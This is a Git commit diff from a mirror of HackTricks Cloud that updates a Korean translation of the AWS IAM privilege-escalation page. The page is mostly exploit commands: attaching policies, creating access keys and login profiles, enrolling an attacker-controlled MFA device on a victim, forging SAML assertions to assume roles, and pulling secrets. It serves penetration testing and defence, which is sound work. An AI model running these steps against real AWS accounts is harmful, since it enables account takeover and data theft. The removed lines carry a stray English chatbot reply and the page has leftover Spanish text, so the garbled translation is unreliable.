gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-05-26 18:09:10 +00:00
parent 783cfac9d6
commit 026bc79ce9
1 changed files with 87 additions and 84 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+87 -84
View File
@@ -4,7 +4,7 @@
## IAM
IAM에 대한 자세한 정보는 다음을 확인하세요:
더 많은 IAM 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,94 +12,111 @@ IAM에 대한 자세한 정보는 다음을 확인하세요:
### **`iam:CreatePolicyVersion`**
새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. `--set-as-default` 플래그를 사용하여 `iam:SetDefaultPolicyVersion` 권한이 없어도 기본 정책 버전 설정을 우회할 수 있습니다. 이를 통해 사용자 지정 권한을 정의할 수 있습니다.
새 IAM policy version을 생성할 수 있는 권한을 부여하며, `--set-as-default` flag를 사용해 `iam:SetDefaultPolicyVersion` permission이 없어도 이를 우회합니다. 이를 통해 custom permissions를 정의할 수 있습니다.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
**영향:** 모든 리소스에 대해 어떤 작업이든 허용함으로써 권한을 직접 상승시킵니다.
**Impact:** 어떤 리소스에 대해서도 모든 작업을 허용하여 권한을 직접 상승시킵니다.
### **`iam:SetDefaultPolicyVersion`**
IAM 정책의 기본 버전을 다른 기존 버전으로 변경할 수 있게 하며, 새 버전이 더 많은 권한을 포함하는 경우 권한이 상승될 수 있습니다.
기존의 다른 버전으로 IAM policy의 기본 버전을 변경할 수 있게 하며, 새 버전이 더 많은 권한을 가지면 잠재적으로 권한 상승이 가능합니다.
**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
```
**영향:** 권한을 더 부여함으로써 발생하는 간접적인 privilege escalation.
**영향:** 더 많은 권한을 활성화하여 간접적인 privilege escalation.
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation로 이어질 수 있다.
다른 사용자에 대해 access key ID와 secret access key를 생성할 수 있게 하며, 이는 잠재적인 privilege escalation으로 이어질 수 있습니다.
**Exploit:**
```bash
aws iam create-access-key --user-name <target_user>
```
**Impact:** 다른 사용자의 확장된 권한을 가정하여 직접적인 권한 상승이 발생합니다.
**영향:** 다른 사용자의 확장된 권한을 assume하여 직접 privilege escalation.
Note that a user can only have 2 access keys created, so if a user already has 2 access keys you will need the permission `iam:DeleteAccessKey` to detele one of them to be able to create a new one:
사용자는 최대 2개의 access keys만 생성할 수 있으므로, 이미 2개의 access keys가 있는 사용자라면 새 access key를 생성할 수 있도록 그중 하나를 삭제하기 위한 `iam:DeleteAccessKey` 권한이 필요합니다:
```bash
aws iam delete-access-key --access-key-id <key_id>
```
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
새 virtual MFA device를 생성하고 다른 사용자에게 활성화(Enable)할 수 있다면, 해당 사용자에 대해 사실상 자신의 MFA를 등록(enroll)한 뒤 그 사용자의 자격 증명으로 MFA 기반 세션을 요청할 수 있습니다.
새 virtual MFA device를 생성하고 다른 user에 대해 enable할 수 있다면, 사실상 그 user에 대해 자신의 MFA를 enroll한 뒤 해당 credentials로 MFA-backed session을 요청할 수 있습니다.
**익스플로잇:**
**Prerequisites:**
TOTP code에는 원하는 어떤 tool이든 사용할 수 있습니다 - oathtool은 사용하기 쉽고 가볍습니다.
```bash
sudo apt install oathtool
sudo dnf install oathtool
sudo yum install oathtool
```
**Exploit:**
```bash
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
aws iam create-virtual-mfa-device --virtual-mfa-device-name <name-the-device> \
--bootstrap-method Base32StringSeed --outfile /path/to/save/mfa-seed.txt
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
# Generate 2 consecutive TOTP codes from the seed
oathtool --base32 --totp "<Seed_Here>" -w 1
# Enable the new device for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <device-arn> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**영향:** 사용자의 MFA 등록을 탈취하여(그 후 해당 사용자의 권한을 사용) 직접적인 권한 상승을 초래합니다.
**Authenticate:**
대상 사용자로 기본 세션을 확보한 뒤에는 security token service를 사용해 MFA-backed token을 얻을 수 있습니다.
```bash
aws sts get-session-token --serial-number <device-arn> --token-code <code>
```
**영향:** 사용자의 MFA 등록을 탈취한 뒤(그리고 그 권한을 사용해) 직접 권한 상승.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함해 직접적인 권한 상승으로 이어질 수 있습니다.
AWS console 로그인용 비밀번호 설정을 포함한 login profile 생성 또는 수정을 허용하며, 이는 직접 권한 상승으로 이어진다.
**생성용 Exploit:**
**생성에 대한 Exploit:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**Exploit (업데이트용):**
**업데이트용 Exploit:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
```
**영향:** 임의의 사용자("any")로 로그인하여 직접적인 권한 상승을 초래합니다.
**영향:** "any" 사용자로 로그인하여 직접 권한 상승.
### **`iam:UpdateAccessKey`**
비활성화된 access key를 활성화할 수 있게 하며, 공격자가 해당 비활성 키를 보유하고 있는 경우 무단 접근으로 이어질 수 있습니다.
비활성화된 access key를 활성화할 수 있으며, 공격자가 비활성화된 key를 보유하고 있다면 무단 access로 이어질 수 있습니다.
**Exploit:**
**익스플로잇:**
```bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
```
**영향:** access keys를 재활성화하여 직접적인 권한 상승.
**영향:** 액세스 키를 재활성화하여 직접적인 권한 상승.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
특정 AWS 서비스(대부분 **CodeCommit**)용 자격증명 생성 또는 재설정을 가능하게 합니다. 이는 **AWS API keys가 아닙니다**: 특정 서비스용 **username/password** 자격증명으로, 해당 서비스가 이를 허용하는 곳에서만 사용할 수 있습니다.
특정 AWS 서비스(가장 흔하게는 **CodeCommit**)에 대한 credential을 생성하거나 재설정할 수 있게 합니다. 이들은 **AWS API 키가 아닙니다**: 특정 서비스용 **username/password** credential이며, 해당 서비스가 이를 허용하는 곳에서만 사용할 수 있습니다.
**생성:**
```bash
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
저장:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**예:**
**예시:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
@@ -114,41 +131,41 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> 참고: 서비스 비밀번호에는 종종 `+`, `/` 및 `=` 같은 문자가 포함됩니다. 대화형 프롬프트를 사용하는 것이 보통 가장 쉽습니다. URL에 포함시키려면 먼저 URL 인코딩하세요.
> Note: 서비스 비밀번호에는 종종 `+`, `/`, `=` 같은 문자가 포함됩니다. interactive prompt를 사용하는 것이 보통 가장 쉽습니다. URL에 넣어야 한다면, 먼저 URL-encode하세요.
이 시점에서는 CodeCommit에서 대상 사용자가 접근할 수 있는 모든 것을 읽을 수 있습니다(예: a leaked credentials file). 리포지토리에서 **AWS access keys**를 획득하면, 해당 키로 새로운 AWS CLI 프로파일을 구성한 뒤 리소스에 접근할 수 있습니다(예: Secrets Manager에서 플래그를 읽기):
이 시점에서 target user가 CodeCommit에서 access할 수 있는 것은 무엇이든 읽을 수 있습니다(예: leak된 credentials 파일). repo에서 **AWS access keys**를 가져오면, 그 키로 새 AWS CLI profile을 설정한 다음 resource에 access하세요(예: Secrets Manager에서 flag를 읽기):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**재설정:**
**초기화:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**영향:** 대상 사용자가 해당 서비스에 대해 가지는 권한으로 권한 상승(해당 서비스에서 가져온 데이터를 사용해 피벗하면 그 범위를 넘어설 수 있음).
**영향:** 주어진 서비스에 대해 대상 사용자의 권한으로 privilege escalation 가능(그리고 해당 서비스에서 가져온 데이터를 활용해 pivot하면 그 이상도 가능할 수 있음).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
사용자 또는 그룹에 정책을 연결할 수 있게 하여, 연결된 정책의 권한을 상속받음으로써 권한을 직접적으로 상승시킨다.
사용자나 그룹에 policy를 attach할 수 있게 하며, attached policy의 permissions를 상속해 직접적으로 privileges를 상승시킨다.
**Exploit for User:**
**사용자에 대한 exploit:**
```bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
```
**그룹용 Exploit:**
**Group에 대한 Exploit:**
```bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
```
**영향:** 정책이 허용하는 모든 항목에 대한 직접적인 권한 상승.
**영향:** 정책이 부여하는 모든 것으로 직접 privilege escalation.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
역할, 사용자 또는 그룹에 정책을 연결하거나 추가할 수 있게 허용하여 추가 권한을 부여함으로써 직접적인 권한 상승을 초래합니다.
role, user, 또는 group에 policies를 attach하거나 put할 수 있게 하며, 추가 permissions를 부여해 직접 privilege escalation을 가능하게 한다.
**역할에 대한 Exploit:**
**Role에 대한 Exploit:**
```bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
```
**Inline Policies에 대한 Exploit:**
**Inline Policies용 Exploit:**
```bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
@@ -159,7 +176,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
```
다음과 같은 정책을 사용할 수 있습니다:
You can use a policy like:
```json
{
"Version": "2012-10-17",
@@ -172,28 +189,28 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
]
}
```
**영향:** 정책을 통해 권한을 추가하여 직접적인 권한 상승을 유발함.
**영향:** 정책을 통해 권한을 추가하여 직접 권한 상승.
### **`iam:AddUserToGroup`**
자신을 IAM 그룹에 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한이 상승함.
IAM 그룹에 자신을 추가할 수 있게 하며, 그룹의 권한을 상속받아 권한을 상승시킨다.
**익스플로잇:**
**Exploit:**
```bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>
```
**영향:** 그룹의 권한 수준으로 직접적인 권한 상승.
**영향:** 그룹 권한 수준까지의 직접적인 privilege escalation.
### **`iam:UpdateAssumeRolePolicy`**
역할의 assume role policy document를 수정할 수 있게 하여, 해당 역할 및 연관된 권한을 획득할 수 있습니다.
role의 assume role policy document를 변경할 수 있게 하며, 이를 통해 해당 role과 그에 연결된 권한을 assume할 수 있게 한다.
**Exploit:**
**익스플로잇:**
```bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
```
정책이 다음과 같이 되어 있어 사용자가 해당 역할을 맡을 수 있는 권한을 부여하는 경우:
정책이 다음과 같이 보이는 경우, 이는 사용자에게 해당 role을 assume할 수 있는 권한을 부여합니다:
```json
{
"Version": "2012-10-17",
@@ -208,38 +225,38 @@ aws iam update-assume-role-policy --role-name <role_name> \
]
}
```
**영향:** 직접적인 권한 상승 — 임의의 역할(role) 권한을 가정하여 획득할 수 있음.
**영향:** 모든 role의 permissions를 가정하여 직접 privilege escalation 가능.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
SSH 공개키를 업로드하여 CodeCommit에 인증할 수 있게 허용하고, MFA 디바이스를 비활성화할 수 있게 하며, 이는 잠재적인 간접 권한 상승으로 이어질 수 있음.
CodeCommit 인증을 위한 SSH public key 업로드와 MFA device 비활성화를 허용하며, 이는 잠재적으로 indirect privilege escalation으로 이어질 수 있습니다.
**Exploit for SSH Key Upload:**
**SSH Key Upload를 위한 Exploit:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit for MFA 비활성화:**
**MFA 비활성화를 위한 Exploit:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** CodeCommit 액세스 활성화 또는 MFA 보호 비활성화를 통해 간접적인 권한 상승이 발생할 수 있음.
**영향:** CodeCommit 접근을 활성화하거나 MFA 보호를 비활성화하여 간접적인 privilege escalation.
### **`iam:ResyncMFADevice`**
MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작해 간접적인 권한 상승으로 이어질 수 있음.
MFA device의 재동기화를 허용하며, MFA 보호를 조작함으로써 간접적인 privilege escalation으로 이어질 수 있습니다.
**Bash Command:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Impact:** MFA 장치를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
**Impact:** MFA devices를 추가하거나 조작하여 간접적인 privilege escalation.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
이 권한들이 있으면 **SAML 연결의 XML 메타데이터를 변경할 수 있습니다**. 그런 다음, **SAML federation**을 악용하여 해당 SAML을 신뢰하는 어떤 **role**로도 **login**할 수 있습니다.
이 권한들이 있으면 **SAML connection의 XML metadata를 변경**할 수 있습니다. 그러면 **SAML federation**을 악용해 이를 **trusting**하는 어떤 **role**로든 **login**할 수 있습니다.
참고: 이렇게 하면 **정상 사용자들은 login할 수 없게 됩니다**. 하지만 XML을 가져올 수 있으므로, 자신의 XML을 넣고 **login**하여 이전 설정을 다시 구성할 수 있습니다
이렇게 하면 **legit users**는 **login**할 수 없게 된다는 점에 유의하세요. 하지만 XML을 얻을 수 있으므로, 자신의 것을 넣고 **login**한 다음 이전 설정을 다시 구성할 수 있습니다.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -255,9 +272,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
**종단 간 공격:**
**End-to-end attack:**
1. SAML provider와 이를 신뢰하는 role을 열거한다:
1. SAML provider와 이를 신뢰하는 role을 열거합니다:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
@@ -272,7 +289,7 @@ aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. 역할/프로바이더 쌍에 대해 IdP 메타데이터를 위조하고 서명된 SAML assertion 생성:
2. role/provider 쌍에 대한 signed SAML assertion + IdP metadata를 Forge:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
@@ -289,7 +306,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>펼치기: <code>/tmp/saml_forge.py</code> 헬퍼 (metadata + signed assertion)</summary>
<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
@@ -485,7 +502,7 @@ main()
```
</details>
3. SAML provider metadata를 IdP certificate로 업데이트하고, assume the role한 후 반환된 STS credentials를 사용합니다:
3. SAML provider metadata를 자신의 IdP certificate로 업데이트하고, role을 assume한 뒤, 반환된 STS credentials를 사용합니다:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
@@ -512,11 +529,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> SAML provider metadata를 업데이트하는 것은 중단을 초래할 수 있습니다: 메타데이터가 적용되어 있는 동안 합법적인 SSO 사용자가 인증하지 못할 수 있습니다.
> SAML provider metadata를 업데이트하는 것은 disruptive합니다: metadata가 적용되어 있는 동안 legitimate SSO users가 authenticate하지 못할 수도 있습니다.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(확실하지 않음) 공격자가 이러한 **권한**을 가지고 있다면, 해당 provider를 신뢰하는 모든 역할에 로그인할 수 있도록 새로운 **Thumbprint**를 추가할 수 있습니다.
(Unsure about this) 공격자가 이 **permissions**를 가지고 있다면, 새로운 **Thumbprint**를 추가해서 provider를 trust하는 모든 role에 login할 수 있게 될 수도 있습니다.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -527,7 +544,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
이 권한을 통해 attacker는 사용자의 permissions boundary를 업데이트할 수 있으며, 이를 통해 기존 권한으로는 제한된 작업을 수행할 수 있게 되어 잠재적으로 권한이 상승될 수 있습니다.
이 permissions는 공격자가 user의 permissions boundary를 업데이트할 수 있게 하며, 기존 permissions로는 일반적으로 제한되는 작업을 수행할 수 있도록 하여 권한을 상승시킬 수 있습니다.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -550,29 +567,29 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 권한을 부적절하게 제한하면 서비스 중단을 초래할 수 있고, 관대한 권한 경계를 연결하면 해당 역할이 수행할 수 있는 작업이 실질적으로 확대되어 권한 상승으로 이어질 수 있습니다.
`iam:PutRolePermissionsBoundary` 권한을 가진 actor는 기존 role에 permissions boundary를 설정할 수 있습니다. 이 권한의 위험은 누군가가 role의 boundary를 변경할 때 발생합니다: 작업을 부적절하게 제한하여(service disruption을 유발) 장애를 일으키거나, 허용적인 boundary를 붙여 role이 할 수 있는 작업을 사실상 확장하고 privileges를 escalated 할 수 있습니다.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
```
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
공격자는 자신이 제어하는 가상 MFA 디바이스를 생성하여 대상 IAM 사용자에 연결하고 피해자의 원래 MFA를 대체하거나 우회합니다. 이 공격자 제어 MFA의 seed를 사용해 유효한 일회용 비밀번호를 생성하고 STS를 통해 MFA 인증 세션 토큰을 요청합니다. 이렇게 하면 공격자는 MFA 요구사항을 충족시켜 피해자 계정으로서 임시 자격 증명을 획득할 수 있으며, MFA가 적용되어 있더라도 계정 탈취를 사실상 완성하게 됩니다.
공격자는 자신의 통제 하에 있는 가상 MFA 디바이스를 생성하고 이를 대상 IAM user에 연결하여, 피해자의 기존 MFA를 교체하거나 우회합니다. 공격자가 통제하는 MFA의 seed를 사용해 유효한 one-time passwords를 생성하고, STS를 통해 MFA-authenticated session token을 요청합니다. 이를 통해 공격자는 MFA 요구사항을 충족하고 피해자처럼 temporary credentials를 얻을 수 있으며, MFA가 강제되어 있어도 사실상 account takeover를 완료할 수 있습니다.
대상 사용자에 이미 MFA가 설정되어 있다면, 이를 비활성화합니다 (`iam:DeactivateMFADevice`):
대상 user에 이미 MFA가 있다면 비활성화합니다 (`iam:DeactivateMFADevice`):
```bash
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
```
새 가상 MFA 장치 생성(시드를 파일에 기록)
새 virtual MFA device를 생성합니다(시드를 파일에 기록함)
```bash
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
```
시드 파일에서 연속된 두 개의 TOTP 코드를 생성하세요:
시드 파일에서 연속된 TOTP 코드 두 개를 생성하세요:
```python
import base64, hmac, hashlib, struct, time
@@ -592,7 +609,7 @@ now = int(time.time())
print(totp(now))
print(totp(now + 30))
```
대상 사용자에 대해 MFA 디바이스를 활성화하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요:
타깃 user에 MFA device를 enable하고, MFA_SERIAL_ARN, CODE1, CODE2를 교체하세요:
```bash
aws iam enable-mfa-device \
--user-name TARGET_USER \
@@ -600,21 +617,7 @@ aws iam enable-mfa-device \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
```
I can’t generate a valid STS MFA token code without the MFA device’s secret (or the device itself). If you want to generate one yourself or have me compute it for you, either:
- Run this locally (Python + pyotp) to get the current TOTP code from your base32 secret:
```
pip install pyotp
python -c "import pyotp,sys;print(pyotp.TOTP(sys.argv[1]).now())" YOUR_BASE32_SECRET
```
Replace YOUR_BASE32_SECRET with your MFA seed (do not share that secret publicly).
- Or, if you have the numeric code from your MFA device, use it with AWS CLI to get STS credentials:
```
aws sts get-session-token --serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME --token-code 123456
```
If you want me to compute the current TOTP for you, provide the base32 MFA secret here (only if you control it and understand the risks). Otherwise I can help you walk through generating it locally.
현재 STS용 토큰 코드를 생성하세요
```python
import base64, hmac, hashlib, struct, time
@@ -629,13 +632,13 @@ o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
```
인쇄된 값을 TOKEN_CODE로 복사하고 MFA가 적용된 세션 토큰(STS)을 요청하세요:
인쇄된 값을 TOKEN_CODE로 복사하고 MFA-backed session token (STS)을 요청하세요:
```bash
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
```
## 참고자료
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)